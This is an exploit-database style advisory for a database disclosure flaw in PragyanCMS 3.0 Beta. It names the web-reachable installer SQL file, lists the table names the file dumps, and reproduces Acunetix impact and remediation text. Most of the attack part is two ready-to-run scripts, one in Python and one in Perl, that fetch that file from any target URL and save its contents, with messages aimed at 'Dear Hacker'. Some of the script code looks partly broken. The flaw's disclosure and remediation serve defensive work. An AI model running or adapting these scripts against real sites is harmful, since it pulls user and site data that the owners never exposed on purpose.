###########################################################################

# Exploit Title : PragyanCMS 3.0 Beta Database Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 13/04/2019
# Vendor Homepage : pragyan.org - pragyan.integriti.org.in
# Software Download Link : sourceforge.net/projects/pragyan/files/latest/download
github.com/delta/pragyan/archive/master.zip
# Software Information Link : code.google.com/archive/p/pragyancms/
pragyan-cms.soft112.com
# Software Version : 3.0 Beta and All Lower Versions
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : High
# Vulnerability Type : 
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Acunetix Reference Link About => [ phpMyAdmin SQL Dump File ]
acunetix.com/vulnerabilities/web/phpmyadmin-sql-dump/
# Acunetix Reference Link About : [ Possible Database Backup File ]
acunetix.com/vulnerabilities/web/possible-database-backup/

###########################################################################

# Information about Software :
****************************
Pragyan CMS is a multi-user, modular Content Management System (CMS) to organize & facilitate 

collaborative content creation & updation on a website and its administration. It is written completely

in PHP and supports MySQL databases. It has a strong custom inbuilt framework with independent

components like templates, modules and widgets. It comes pre-packaged with a large number of 

modules like article, form, quiz, forum, gallery, book, news, poll, etc, widgets like image slider, 

facebook plugins, page hits counter, news flash etc and third-party plugins like PDF converter, 

google maps, sphider search engine, etc. It also provides tools to organize and 

manage permissions for users and groups.

###########################################################################

# Impact :
***********
* The product stores sensitive information in files or directories that are accessible 

to actors outside of the intended control sphere.

* An information exposure is the intentional or unintentional disclosure of information 

to an actor that is not explicitly authorized to have access to that information.

* phpMyAdmin is a free software tool written in PHP, intended to handle the administration of 

MySQL over the World Wide Web. It can be used to dump a database or a collection of 

databases for backup or transfer to another SQL server (not necessarily a MySQL server). 

The dump typically contains SQL statements to create the table, populate it, or both. 

This file contains an phpMyAdmin SQL dump. This information is highly sensitive and 

should not be found on a production system.

* It looks like this file contains a database backup/dump. 

Acunetix inferred this filename from the domain name. A database backup contains a record of the

 table structure and/or the data from a database and is usually in the form of a list of SQL statements. 

A database backup is most often used for backing up a database so that its contents can be restored 

in the event of data loss. This information is highly sensitive and should never be found on a production system.

Remediation : Sensitive files such as database backups should never be stored in a directory that is accessible 

to the web server. As a workaround, you could restrict access to this file.

Installation => 
*************
Copy the files to /path/to/web/root/pragyan
Open it in your browser http://domain.tld/pragyan
PragyanCMS's automated installation will guide you through the INSTALL process.

###########################################################################

File:
******
/INSTALL/pragyan_inserts.sql

Information:
*************
-- phpMyAdmin SQL Dump
-- version 3.2.2.1deb1
-- http://www.phpmyadmin.net
--
-- Host: localhost
-- Server version: 5.1.37
-- PHP Version: 5.2.10-2ubuntu6.4
-- Database: `pragyan`

Dumping datafortable`article_content`
Dumping datafortable`article_contentbak`
Dumping datafortable`faculty_template`
Dumping datafortable`form_desc`
Dumping datafortable`form_elementdata`
Dumping datafortable`form_elementdesc`
Dumping datafortable`form_regdata`
Dumping datafortable`forum_module`
Dumping datafortable`forum_posts`
Dumping datafortable`forum_threads`
Dumping datafortable`gallery_name`
Dumping datafortable`gallery_pics`
Dumping datafortable`hospi_accomodation_status`
Dumping datafortable`hospi_hostel`
Dumping datafortable`newsletter`
Dumping datafortable`newsletter_bc`
Dumping datafortable`news_data`
Dumping datafortable`news_desc`
Dumping datafortable`poll_answers`
Dumping datafortable`poll_questions`
Dumping datafortable`pragyanV3_blacklist`
Dumping datafortable`pragyanV3_modules`
Dumping datafortable`pragyanV3_external`
Dumping datafortable`pragyanV3_global`
Dumping datafortable`pragyanV3_groups`
Dumping datafortable`pragyanV3_inheritedinfo`
Dumping datafortable`pragyanV3_log`
Dumping datafortable`pragyanV3_pages
Dumping datafortable`pragyanV3_permissionlist`
Dumping datafortable`pragyanV3_templates`
Dumping datafortable`pragyanV3_uploads`
Dumping datafortable`pragyanV3_usergroup`
Dumping datafortable`pragyanV3_userpageperm`
Dumping datafortable`pragyanV3_userprofile_elementdata`
Dumping datafortable`pragyanV3_userprofile_elementdesc`
Dumping datafortable`pragyanV3_users`
Dumping datafortable`pragyanV3_widgetsinfo`
Dumping datafortable`qaos_designations`
Dumping datafortable`qaos_scoring`
Dumping datafortable`qaos_teams`
Dumping datafortable`qaos_tree`
Dumping datafortable`qaos_units`
Dumping datafortable`qaos_users`
Dumping datafortable`qaos_version`
Dumping datafortable`quiz_descriptions`
Dumping datafortable`quiz_objectiveoptions`
Dumping datafortable`quiz_questions`
Dumping datafortable`quiz_quizattemptdata`
Dumping datafortable`quiz_submittedanswers`
Dumping datafortable`quiz_weightmarks`
Dumping datafortable`sqlquery_desc`
Dumping datafortable`events_certificate`

raw.githubusercontent.com/delta/pragyan/master/INSTALL/pragyan_inserts.sql

###########################################################################

# Database Disclosure Information Exposure Exploit 1 :
***********************************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/INSTALL/pragyan_inserts.sql"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit

###########################################################################

# Database Disclosure Information Exposure Exploit 2 :
***********************************************
#!/usr/bin/perl -w
# Author : KingSkrupellos
# Team : Cyberizm Digital Security Army

use LWP::Simple;
use LWP::UserAgent;

system('cls');
system('PragyanCMS 3.0 Beta Database Disclosure Exploit');
system('color a');


if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
($TargetIP, $path, $File,) = @ARGV;

$File="INSTALL/pragyan_inserts.sql";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Wait Please Dear Hacker!!! \n\n";

my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/INSTALL/pragyan_inserts.sql");

if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/INSTALL/pragyan_inserts.sql\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}

###########################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

###########################################################################